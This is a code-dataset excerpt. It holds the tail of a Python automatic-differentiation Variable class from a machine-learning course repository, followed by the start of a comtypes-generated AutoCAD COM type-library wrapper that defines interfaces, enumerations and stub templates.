graph \n\n @ staticmethod\n def resetIndependentVariables():\n Variable.independentvariables = []\n\n @ staticmethod\n def onehotvector(name): # Create a vector of zeros except for one location (to use for the gradient of an independent variable)\n index = Variable.indexinvector(name)\n\n gradient_vector = np.zeros(shape = len(Variable.independentvariables))\n \n gradient_vector[index] = 1\n\n return gradient_vector\n\n @ staticmethod\n def indexinvector(name): # Find the index of an independent variable in the gradient vector\n Variable.independentvariables.sort()\n # print(Variable.independentvariables, set(Variable.independentvariables))\n assert len(set(Variable.independentvariables)) == len(Variable.independentvariables)\n\n for i, val in enumerate(Variable.independentvariables):\n if val==name:\n return i\n\n return -1\n\n def __init__(self, name = None, evaluate = None, grad = None): # Create a node\n \n # Store Independent Variable Name \n if name != None: # Name exists if and only if instance is an independent variable\n self.name = name\n Variable.independentvariables.append(name)\n \n # Setting node's operation\n if evaluate == None: # Independent Variable\n self.evaluate = lambda values : values[name]\n self.grad = lambda values : Variable.onehotvector(name)\n \n else: # Operator Node\n self.evaluate = evaluate \n self.grad = grad\n \n \n def __call__(self, **kargs): # So that z(x1 = 2, x2 = 5), for instance, will work \n #print(type(kargs))\n #print(kargs) \n return self.evaluate(kargs)\n \n def gradient(self, **kargs): # So that z.gradient(x1 = 2, x2 = 5) will work\n return self.grad(values = kargs)\n\n def __add__(self, other): # Addition node\n if isinstance(other, Variable): # Adding with Variable Instance\n return Variable(\n name = None, \n evaluate = lambda values : self.evaluate(values) + other.evaluate(values),\n grad = lambda values : self.grad(values) + other.grad(values),\n )\n else: # Adding with constant\n return Variable(\n name = None, \n evaluate = lambda values : self.evaluate(values) + other,\n grad = lambda values : self.grad(values)\n )\n\n \n def __radd__(self, other): # Reverse addition \n return self.__add__(other) \n\n def __mul__(self, other): # Multiplication node\n if isinstance(other, Variable): # Multiplying with Variable Instance\n return Variable(\n name = None, \n evaluate = lambda values : self.evaluate(values) * other.evaluate(values),\n grad = lambda values : self.evaluate(values) * other.grad(values) + self.grad(values) * other.evaluate(values),\n )\n else: # Multiplying with constant\n return Variable(\n name = None, \n evaluate = lambda values : other * self.evaluate(values),\n grad = lambda values : other * self.grad(values),\n )\n\n def __rmul__(self, other): # Reverse multiplication \n return self.__mul__(other)\n\n def __pow__(self, other):\n if isinstance(other, (float, int)): # Power is a constant\n return Variable(\n name = None, \n evaluate = lambda values : pow(self.evaluate(values), other),\n grad = lambda values : other * pow(self.evaluate(values), other - 1) * self.grad(values) \n )\n else:\n return NotImplemented\n\n def __rpow__(self, other):\n if isinstance(other, (float, int)):\n return Variable(\n name = None, \n evaluate = lambda values : pow(other, self.evaluate(values)),\n grad = lambda values : Variable.log(other) * pow(other, self.evaluate(values)) * self.grad(values)\n )\n else:\n return NotImplemented\n \n def __sub__(self, other):\n return self + -1*other\n\n def __rsub__ (self, other):\n return other + -1*self\n\n def __truediv__(self, other):\n return self * (other ** -1)\n \n def __rtruediv__(self, other):\n return (self * (other ** -1)) ** -1\n\n @ staticmethod \n def exp(other): # e^(x) node\n if isinstance(other, Variable): # e^a variable\n return Variable(\n name = None,\n evaluate = lambda values : pow(math.e, other.evaluate(values)),\n grad = lambda values : pow(math.e, other.evaluate(values)) * other.grad(values)\n )\n else: # e ^ c constant\n return Variable(\n name = None, \n evaluate = lambda values : pow(math.e, other),\n grad =lambda values : 0\n )\n \n @ staticmethod\n def log(other):\n if isinstance(other, Variable): #log(a variable)\n return Variable(\n name = None,\n evaluate = lambda values : math.log(other.evaluate(values) + 0.01),\n grad = lambda values : pow(other.evaluate(values) + 0.01, -1) * other.grad(values)\n )","repo_name":"huskydj1/CSC630_MachineLearning","sub_path":"variable.py","file_name":"variable.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9534364526","text":"# -*- coding: mbcs -*-\ntypelib_path = 'C:\\\\Program Files\\\\Common Files\\\\Autodesk Shared\\\\axdb21enu.tlb'\n_lcid = 0 # change this if required\nfrom ctypes import *\nimport comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0\nfrom comtypes import GUID\nfrom comtypes import BSTR\nfrom ctypes import HRESULT\nfrom comtypes.automation import VARIANT\nfrom comtypes.automation import VARIANT\nLONG_PTR = c_longlong\nfrom comtypes.automation import IDispatch\nfrom ctypes.wintypes import VARIANT_BOOL\nfrom comtypes import helpstring\nfrom comtypes import COMMETHOD\nfrom comtypes import dispid\nACAD_NOUNITS = c_double\nACAD_LTYPE = BSTR\nfrom comtypes import IUnknown\nfrom comtypes import CoClass\nACAD_ANGLE = c_double\nACAD_LAYER = BSTR\nACAD_DISTANCE = c_double\nACAD_NULL = c_int\nACAD_POINT = VARIANT\n\n\nclass IAcadObject(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{701F68D5-CA96-4964-897A-17A3CFCCEEDE}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadEntity(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{7726A04E-C83E-4E3E-8DA5-8144AD1E9647}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadTable(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{651C43ED-3B0C-4A54-A033-FABE99F709BF}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadDatabase(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{7D8F3D3B-5265-44AD-A379-630BD287D3F6}')\n _idlflags_ = ['dual', 'oleautomation']\nclass IAcadDictionary(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{A71CED3B-B6FB-4946-B716-A1A2C7E753AE}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadObject._methods_ = [\n COMMETHOD([dispid(1024), 'nonbrowsable', 'propget'], HRESULT, 'Handle',\n ( ['out', 'retval'], POINTER(BSTR), 'Handle' )),\n COMMETHOD([dispid(1025), 'nonbrowsable', 'propget'], HRESULT, 'ObjectName',\n ( ['out', 'retval'], POINTER(BSTR), 'ObjectName' )),\n COMMETHOD([dispid(1026)], HRESULT, 'GetXData',\n ( ['in'], BSTR, 'AppName' ),\n ( ['out'], POINTER(VARIANT), 'XDataType' ),\n ( ['out'], POINTER(VARIANT), 'XDataValue' )),\n COMMETHOD([dispid(1027)], HRESULT, 'SetXData',\n ( ['in'], VARIANT, 'XDataType' ),\n ( ['in'], VARIANT, 'XDataValue' )),\n COMMETHOD([dispid(1028)], HRESULT, 'Delete'),\n COMMETHOD([dispid(1029), 'nonbrowsable', 'propget'], HRESULT, 'ObjectID',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'ObjectID' )),\n COMMETHOD([dispid(1030), 'nonbrowsable', 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'ApplicationObject' )),\n COMMETHOD([dispid(1031), 'hidden', 'nonbrowsable', 'propget'], HRESULT, 'Database',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDatabase)), 'pDatabase' )),\n COMMETHOD([dispid(1032), 'nonbrowsable', 'propget'], HRESULT, 'HasExtensionDictionary',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bHasDictionary' )),\n COMMETHOD([dispid(1033)], HRESULT, 'GetExtensionDictionary',\n ( ['out', 'retval'], POINTER(POINTER(IAcadDictionary)), 'pExtDictionary' )),\n COMMETHOD([dispid(1034), 'nonbrowsable', 'propget'], HRESULT, 'OwnerID',\n ( ['out', 'retval'], POINTER(LONG_PTR), 'OwnerID' )),\n COMMETHOD([dispid(1035), 'nonbrowsable', 'propget'], HRESULT, 'Document',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pDocument' )),\n COMMETHOD([dispid(1141), 'hidden'], HRESULT, 'Erase'),\n]\n################################################################\n## code template for IAcadObject implementation\n##class IAcadObject_Impl(object):\n## @property\n## def Handle(self):\n## '-no docstring-'\n## #return Handle\n##\n## @property\n## def ObjectName(self):\n## '-no docstring-'\n## #return ObjectName\n##\n## def GetXData(self, AppName):\n## '-no docstring-'\n## #return XDataType, XDataValue\n##\n## def SetXData(self, XDataType, XDataValue):\n## '-no docstring-'\n## #return \n##\n## def Delete(self):\n## '-no docstring-'\n## #return \n##\n## @property\n## def ObjectID(self):\n## '-no docstring-'\n## #return ObjectID\n##\n## @property\n## def Application(self):\n## '-no docstring-'\n## #return ApplicationObject\n##\n## @property\n## def Database(self):\n## '-no docstring-'\n## #return pDatabase\n##\n## @property\n## def HasExtensionDictionary(self):\n## '-no docstring-'\n## #return bHasDictionary\n##\n## def GetExtensionDictionary(self):\n## '-no docstring-'\n## #return pExtDictionary\n##\n## @property\n## def OwnerID(self):\n## '-no docstring-'\n## #return OwnerID\n##\n## @property\n## def Document(self):\n## '-no docstring-'\n## #return pDocument\n##\n## def Erase(self):\n## '-no docstring-'\n## #return \n##\n\nclass IAcadAcCmColor(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{B98FC4BA-8681-4E0F-A990-15376F9E8374}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcExtendOption'\nacExtendNone = 0\nacExtendThisEntity = 1\nacExtendOtherEntity = 2\nacExtendBoth = 3\nAcExtendOption = c_int # enum\n\n# values for enumeration 'AcLineWeight'\nacLnWt000 = 0\nacLnWt005 = 5\nacLnWt009 = 9\nacLnWt013 = 13\nacLnWt015 = 15\nacLnWt018 = 18\nacLnWt020 = 20\nacLnWt025 = 25\nacLnWt030 = 30\nacLnWt035 = 35\nacLnWt040 = 40\nacLnWt050 = 50\nacLnWt053 = 53\nacLnWt060 = 60\nacLnWt070 = 70\nacLnWt080 = 80\nacLnWt090 = 90\nacLnWt100 = 100\nacLnWt106 = 106\nacLnWt120 = 120\nacLnWt140 = 140\nacLnWt158 = 158\nacLnWt200 = 200\nacLnWt211 = 211\nacLnWtByLayer = -1\nacLnWtByBlock = -2\nacLnWtByLwDefault = -3\nAcLineWeight = c_int # enum\nACAD_LWEIGHT = AcLineWeight\nclass IAcadHyperlinks(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{F13C0B1D-6F1A-4D21-8939-447CCE7F4EFF}')\n _idlflags_ = ['dual', 'oleautomation']\n\n# values for enumeration 'AcColor'\nacByBlock = 0\nacRed = 1\nacYellow = 2\nacGreen = 3\nacCyan = 4\nacBlue = 5\nacMagenta = 6\nacWhite = 7\nacByLayer = 256\nAcColor = c_int # enum\nACAD_COLOR = AcColor\nIAcadEntity._methods_ = [\n COMMETHOD([dispid(1302), 'propget'], HRESULT, 'TrueColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(1302), 'propput'], HRESULT, 'TrueColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(1281), 'propget'], HRESULT, 'Layer',\n ( ['out', 'retval'], POINTER(BSTR), 'Layer' )),\n COMMETHOD([dispid(1281), 'propput'], HRESULT, 'Layer',\n ( ['in'], BSTR, 'Layer' )),\n COMMETHOD([dispid(1282), 'propget'], HRESULT, 'Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(1282), 'propput'], HRESULT, 'Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(1283), 'propget'], HRESULT, 'LinetypeScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'ltScale' )),\n COMMETHOD([dispid(1283), 'propput'], HRESULT, 'LinetypeScale',\n ( ['in'], ACAD_NOUNITS, 'ltScale' )),\n COMMETHOD([dispid(1284), 'nonbrowsable', 'propget'], HRESULT, 'Visible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVisible' )),\n COMMETHOD([dispid(1284), 'nonbrowsable', 'propput'], HRESULT, 'Visible',\n ( ['in'], VARIANT_BOOL, 'bVisible' )),\n COMMETHOD([dispid(1285)], HRESULT, 'ArrayPolar',\n ( ['in'], c_int, 'NumberOfObjects' ),\n ( ['in'], c_double, 'AngleToFill' ),\n ( ['in'], VARIANT, 'CenterPoint' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(1286)], HRESULT, 'ArrayRectangular',\n ( ['in'], c_int, 'NumberOfRows' ),\n ( ['in'], c_int, 'NumberOfColumns' ),\n ( ['in'], c_int, 'NumberOfLevels' ),\n ( ['in'], c_double, 'DistBetweenRows' ),\n ( ['in'], c_double, 'DistBetweenCols' ),\n ( ['in'], c_double, 'DistBetweenLevels' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pArrayObjs' )),\n COMMETHOD([dispid(1287)], HRESULT, 'Highlight',\n ( ['in'], VARIANT_BOOL, 'HighlightFlag' )),\n COMMETHOD([dispid(1288)], HRESULT, 'Copy',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pCopyObj' )),\n COMMETHOD([dispid(1289)], HRESULT, 'Move',\n ( ['in'], VARIANT, 'FromPoint' ),\n ( ['in'], VARIANT, 'ToPoint' )),\n COMMETHOD([dispid(1290)], HRESULT, 'Rotate',\n ( ['in'], VARIANT, 'BasePoint' ),\n ( ['in'], c_double, 'RotationAngle' )),\n COMMETHOD([dispid(1291)], HRESULT, 'Rotate3D',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], c_double, 'RotationAngle' )),\n COMMETHOD([dispid(1292)], HRESULT, 'Mirror',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pMirrorObj' )),\n COMMETHOD([dispid(1293)], HRESULT, 'Mirror3D',\n ( ['in'], VARIANT, 'Point1' ),\n ( ['in'], VARIANT, 'Point2' ),\n ( ['in'], VARIANT, 'point3' ),\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pMirrorObj' )),\n COMMETHOD([dispid(1294)], HRESULT, 'ScaleEntity',\n ( ['in'], VARIANT, 'BasePoint' ),\n ( ['in'], c_double, 'ScaleFactor' )),\n COMMETHOD([dispid(1295)], HRESULT, 'TransformBy',\n ( ['in'], VARIANT, 'TransformationMatrix' )),\n COMMETHOD([dispid(1296)], HRESULT, 'Update'),\n COMMETHOD([dispid(1297)], HRESULT, 'GetBoundingBox',\n ( ['out'], POINTER(VARIANT), 'MinPoint' ),\n ( ['out'], POINTER(VARIANT), 'MaxPoint' )),\n COMMETHOD([dispid(1298)], HRESULT, 'IntersectWith',\n ( ['in'], POINTER(IDispatch), 'IntersectObject' ),\n ( ['in'], AcExtendOption, 'option' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'intPoints' )),\n COMMETHOD([dispid(1299), 'propget'], HRESULT, 'PlotStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'plotStyle' )),\n COMMETHOD([dispid(1299), 'propput'], HRESULT, 'PlotStyleName',\n ( ['in'], BSTR, 'plotStyle' )),\n COMMETHOD([dispid(1300), 'propget'], HRESULT, 'Lineweight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'Lineweight' )),\n COMMETHOD([dispid(1300), 'propput'], HRESULT, 'Lineweight',\n ( ['in'], ACAD_LWEIGHT, 'Lineweight' )),\n COMMETHOD([dispid(1401), 'propget'], HRESULT, 'EntityTransparency',\n ( ['out', 'retval'], POINTER(BSTR), 'transparency' )),\n COMMETHOD([dispid(1401), 'propput'], HRESULT, 'EntityTransparency',\n ( ['in'], BSTR, 'transparency' )),\n COMMETHOD([dispid(1301), 'propget'], HRESULT, 'Hyperlinks',\n ( ['out', 'retval'], POINTER(POINTER(IAcadHyperlinks)), 'Hyperlinks' )),\n COMMETHOD([dispid(1399), 'propget'], HRESULT, 'Material',\n ( ['out', 'retval'], POINTER(BSTR), 'Material' )),\n COMMETHOD([dispid(1399), 'propput'], HRESULT, 'Material',\n ( ['in'], BSTR, 'Material' )),\n COMMETHOD([dispid(1397), 'hidden', 'nonbrowsable', 'propget'], HRESULT, 'EntityName',\n ( ['out', 'retval'], POINTER(BSTR), 'EntityName' )),\n COMMETHOD([dispid(1398), 'hidden', 'nonbrowsable', 'propget'], HRESULT, 'EntityType',\n ( ['out', 'retval'], POINTER(c_int), 'entType' )),\n COMMETHOD([dispid(1280), 'hidden', 'propget'], HRESULT, 'color',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(1280), 'hidden', 'propput'], HRESULT, 'color',\n ( ['in'], ACAD_COLOR, 'color' )),\n]\n################################################################\n## code template for IAcadEntity implementation\n##class IAcadEntity_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## TrueColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Layer\n## def _set(self, Layer):\n## '-no docstring-'\n## Layer = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## Linetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ltScale\n## def _set(self, ltScale):\n## '-no docstring-'\n## LinetypeScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVisible\n## def _set(self, bVisible):\n## '-no docstring-'\n## Visible = property(_get, _set, doc = _set.__doc__)\n##\n## def ArrayPolar(self, NumberOfObjects, AngleToFill, CenterPoint):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def ArrayRectangular(self, NumberOfRows, NumberOfColumns, NumberOfLevels, DistBetweenRows, DistBetweenCols, DistBetweenLevels):\n## '-no docstring-'\n## #return pArrayObjs\n##\n## def Highlight(self, HighlightFlag):\n## '-no docstring-'\n## #return \n##\n## def Copy(self):\n## '-no docstring-'\n## #return pCopyObj\n##\n## def Move(self, FromPoint, ToPoint):\n## '-no docstring-'\n## #return \n##\n## def Rotate(self, BasePoint, RotationAngle):\n## '-no docstring-'\n## #return \n##\n## def Rotate3D(self, Point1, Point2, RotationAngle):\n## '-no docstring-'\n## #return \n##\n## def Mirror(self, Point1, Point2):\n## '-no docstring-'\n## #return pMirrorObj\n##\n## def Mirror3D(self, Point1, Point2, point3):\n## '-no docstring-'\n## #return pMirrorObj\n##\n## def ScaleEntity(self, BasePoint, ScaleFactor):\n## '-no docstring-'\n## #return \n##\n## def TransformBy(self, TransformationMatrix):\n## '-no docstring-'\n## #return \n##\n## def Update(self):\n## '-no docstring-'\n## #return \n##\n## def GetBoundingBox(self):\n## '-no docstring-'\n## #return MinPoint, MaxPoint\n##\n## def IntersectWith(self, IntersectObject, option):\n## '-no docstring-'\n## #return intPoints\n##\n## def _get(self):\n## '-no docstring-'\n## #return plotStyle\n## def _set(self, plotStyle):\n## '-no docstring-'\n## PlotStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Lineweight\n## def _set(self, Lineweight):\n## '-no docstring-'\n## Lineweight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return transparency\n## def _set(self, transparency):\n## '-no docstring-'\n## EntityTransparency = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Hyperlinks(self):\n## '-no docstring-'\n## #return Hyperlinks\n##\n## def _get(self):\n## '-no docstring-'\n## #return Material\n## def _set(self, Material):\n## '-no docstring-'\n## Material = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def EntityName(self):\n## '-no docstring-'\n## #return EntityName\n##\n## @property\n## def EntityType(self):\n## '-no docstring-'\n## #return entType\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## color = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcTableDirection'\nacTableTopToBottom = 0\nacTableBottomToTop = 1\nAcTableDirection = c_int # enum\n\n# values for enumeration 'AcRowType'\nacUnknownRow = 0\nacDataRow = 1\nacTitleRow = 2\nacHeaderRow = 4\nAcRowType = c_int # enum\n\n# values for enumeration 'AcCellAlignment'\nacTopLeft = 1\nacTopCenter = 2\nacTopRight = 3\nacMiddleLeft = 4\nacMiddleCenter = 5\nacMiddleRight = 6\nacBottomLeft = 7\nacBottomCenter = 8\nacBottomRight = 9\nAcCellAlignment = c_int # enum\n\n# values for enumeration 'AcGridLineType'\nacInvalidGridLine = 0\nacHorzTop = 1\nacHorzInside = 2\nacHorzBottom = 4\nacVertLeft = 8\nacVertInside = 16\nacVertRight = 32\nAcGridLineType = c_int # enum\n\n# values for enumeration 'AcCellType'\nacUnknownCell = 0\nacTextCell = 1\nacBlockCell = 2\nAcCellType = c_int # enum\n\n# values for enumeration 'AcRotationAngle'\nacDegreesUnknown = -1\nacDegrees000 = 0\nacDegrees090 = 1\nacDegrees180 = 2\nacDegrees270 = 3\nAcRotationAngle = c_int # enum\n\n# values for enumeration 'AcCellEdgeMask'\nacTopMask = 1\nacRightMask = 2\nacBottomMask = 4\nacLeftMask = 8\nAcCellEdgeMask = c_int # enum\n\n# values for enumeration 'AcSelectType'\nacTableSelectWindow = 1\nacTableSelectCrossing = 2\nAcSelectType = c_int # enum\n\n# values for enumeration 'AcValueDataType'\nacUnknownDataType = 0\nacLong = 1\nacDouble = 2\nacString = 4\nacDate = 8\nacPoint2d = 16\nacPoint3d = 32\nacObjectId = 64\nacBuffer = 128\nacResbuf = 256\nacGeneral = 512\nAcValueDataType = c_int # enum\n\n# values for enumeration 'AcValueUnitType'\nacUnitless = 0\nacUnitDistance = 1\nacUnitAngle = 2\nacUnitArea = 4\nacUnitVolume = 8\nAcValueUnitType = c_int # enum\n\n# values for enumeration 'AcFormatOption'\nkFormatOptionNone = 0\nacForEditing = 1\nacForExpression = 2\nacUseMaximumPrecision = 4\nacIgnoreMtextFormat = 8\nAcFormatOption = c_int # enum\n\n# values for enumeration 'AcParseOption'\nacParseOptionNone = 0\nacSetDefaultFormat = 1\nacPreserveMtextFormat = 2\nAcParseOption = c_int # enum\n\n# values for enumeration 'AcCellOption'\nkCellOptionNone = 0\nkInheritCellFormat = 1\nAcCellOption = c_int # enum\n\n# values for enumeration 'AcCellContentType'\nacCellContentTypeUnknown = 0\nacCellContentTypeValue = 1\nacCellContentTypeField = 2\nacCellContentTypeBlock = 4\nAcCellContentType = c_int # enum\n\n# values for enumeration 'AcCellMargin'\nacCellMarginTop = 1\nacCellMarginLeft = 2\nacCellMarginBottom = 4\nacCellMarginRight = 8\nacCellMarginHorzSpacing = 16\nacCellMarginVertSpacing = 32\nAcCellMargin = c_int # enum\n\n# values for enumeration 'AcCellContentLayout'\nacCellContentLayoutFlow = 1\nacCellContentLayoutStackedHorizontal = 2\nacCellContentLayoutStackedVertical = 4\nAcCellContentLayout = c_int # enum\n\n# values for enumeration 'AcCellProperty'\nacInvalidCellProperty = 0\nacLock = 1\nacDataType = 2\nacDataFormat = 4\nacRotation = 8\nacScale = 16\nacAlignmentProperty = 32\nacContentColor = 64\nacBackgroundColor = 128\nacTextStyle = 256\nacTextHeight = 512\nacMarginLeft = 1024\nacMarginTop = 2048\nacMarginRight = 4096\nacMarginBottom = 8192\nacEnableBackgroundColor = 16384\nacAutoScale = 32768\nacMergeAll = 65536\nacFlowDirBtoT = 131072\nacContentLayout = 262144\nacDataTypeAndFormat = 6\nacContentProperties = 33662\nacBitProperties = 245760\nacAllCellProperties = 524287\nAcCellProperty = c_int # enum\n\n# values for enumeration 'AcGridLineStyle'\nacGridLineStyleSingle = 1\nacGridLineStyleDouble = 2\nAcGridLineStyle = c_int # enum\n\n# values for enumeration 'AcCellState'\nacCellStateNone = 0\nacCellStateContentLocked = 1\nacCellStateContentReadOnly = 2\nacCellStateFormatLocked = 4\nacCellStateFormatReadOnly = 8\nacCellStateLinked = 16\nacCellStateContentModified = 32\nacCellStateFormatModified = 64\nAcCellState = c_int # enum\n\n# values for enumeration 'AcTableFlowDirection'\nacTableFlowRight = 1\nacTableFlowDownOrUp = 2\nacTableFlowLeft = 4\nAcTableFlowDirection = c_int # enum\nIAcadTable._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Rows',\n ( ['out', 'retval'], POINTER(c_int), 'pRows' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Rows',\n ( ['in'], c_int, 'pRows' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Columns',\n ( ['out', 'retval'], POINTER(c_int), 'pColumns' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Columns',\n ( ['in'], c_int, 'pColumns' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'FlowDirection',\n ( ['out', 'retval'], POINTER(AcTableDirection), 'pFlow' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'FlowDirection',\n ( ['in'], AcTableDirection, 'pFlow' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'pWidth' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'pWidth' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'pHeight' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'VertCellMargin',\n ( ['out', 'retval'], POINTER(c_double), 'pGap' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'VertCellMargin',\n ( ['in'], c_double, 'pGap' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'HorzCellMargin',\n ( ['out', 'retval'], POINTER(c_double), 'pGap' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'HorzCellMargin',\n ( ['in'], c_double, 'pGap' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(10)], HRESULT, 'GetColumnWidth',\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(c_double), 'pWidth' )),\n COMMETHOD([dispid(11)], HRESULT, 'SetColumnWidth',\n ( ['in'], c_int, 'col' ),\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'ColumnWidth',\n ( ['in'], c_double, 'rhs' )),\n COMMETHOD([dispid(13)], HRESULT, 'GetRowHeight',\n ( ['in'], c_int, 'row' ),\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(14)], HRESULT, 'SetRowHeight',\n ( ['in'], c_int, 'row' ),\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'RowHeight',\n ( ['in'], c_double, 'rhs' )),\n COMMETHOD([dispid(26)], HRESULT, 'GetMinimumColumnWidth',\n ( ['in'], c_int, 'col' ),\n ( ['out', 'retval'], POINTER(c_double), 'pWidth' )),\n COMMETHOD([dispid(27)], HRESULT, 'GetMinimumRowHeight',\n ( ['in'], c_int, 'row' ),\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'MinimumTableWidth',\n ( ['out', 'retval'], POINTER(c_double), 'pWidth' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'MinimumTableHeight',\n ( ['out', 'retval'], POINTER(c_double), 'pHeight' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'Direction',\n ( ['out', 'retval'], POINTER(VARIANT), 'DirectionVector' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'Direction',\n ( ['in'], VARIANT, 'DirectionVector' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TitleSuppressed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TitleSuppressed',\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'HeaderSuppressed',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'HeaderSuppressed',\n ( ['in'], VARIANT_BOOL, 'bValue' )),\n COMMETHOD([dispid(33)], HRESULT, 'GetAlignment',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(AcCellAlignment), 'pCellAlignment' )),\n COMMETHOD([dispid(34)], HRESULT, 'SetAlignment',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], AcCellAlignment, 'cellAlignment' )),\n COMMETHOD([dispid(35)], HRESULT, 'GetBackgroundColorNone',\n ( ['in'], AcRowType, 'rowType' ),\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bValue' )),\n COMMETHOD([dispid(36)], HRESULT, 'SetBackgroundColorNone',\n ( ['in'], c_int, 'rowTypes' ),\n ( ['in'], POINTER(VARIANT_BOOL), 'bValue' )),\n 